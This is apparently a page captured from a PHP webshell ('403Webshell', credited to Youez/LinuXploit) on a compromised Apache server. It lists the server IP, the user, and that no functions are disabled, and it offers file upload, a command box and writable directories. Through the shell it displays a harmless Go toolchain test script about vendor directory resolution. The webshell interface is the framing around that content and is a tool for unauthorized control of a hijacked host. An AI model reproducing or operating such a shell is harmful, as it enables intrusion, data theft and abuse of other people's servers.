403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/go/src/cmd/go/testdata/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/go/src/cmd/go/testdata/script/vendor_complex.txt
env GO111MODULE=off

# smoke test for complex build configuration
go build -o complex.exe complex
[!cross] [exec:gccgo] go build -compiler=gccgo -o complex.exe complex

-- complex/main.go --
package main

import (
	_ "complex/nest/sub/test12"
	_ "complex/nest/sub/test23"
	"complex/w"
	"v"
)

func main() {
	println(v.Hello + " " + w.World)
}

-- complex/nest/sub/test12/p.go --
package test12

// Check that vendor/v1 is used but vendor/v2 is NOT used (sub/vendor/v2 wins).

import (
	"v1"
	"v2"
)

const x = v1.ComplexNestVendorV1
const y = v2.ComplexNestSubVendorV2

-- complex/nest/sub/test23/p.go --
package test23

// Check that vendor/v3 is used but vendor/v2 is NOT used (sub/vendor/v2 wins).

import (
	"v2"
	"v3"
)

const x = v3.ComplexNestVendorV3
const y = v2.ComplexNestSubVendorV2

-- complex/nest/sub/vendor/v2/v2.go --
package v2

const ComplexNestSubVendorV2 = true

-- complex/nest/vendor/v1/v1.go --
package v1

const ComplexNestVendorV1 = true

-- complex/nest/vendor/v2/v2.go --
package v2

const ComplexNestVendorV2 = true

-- complex/nest/vendor/v3/v3.go --
package v3

const ComplexNestVendorV3 = true

-- complex/vendor/v/v.go --
package v

const Hello = "hello"

-- complex/w/w.go --
package w

const World = "world"

Youez - 2016 - github.com/yon3zu
LinuXploit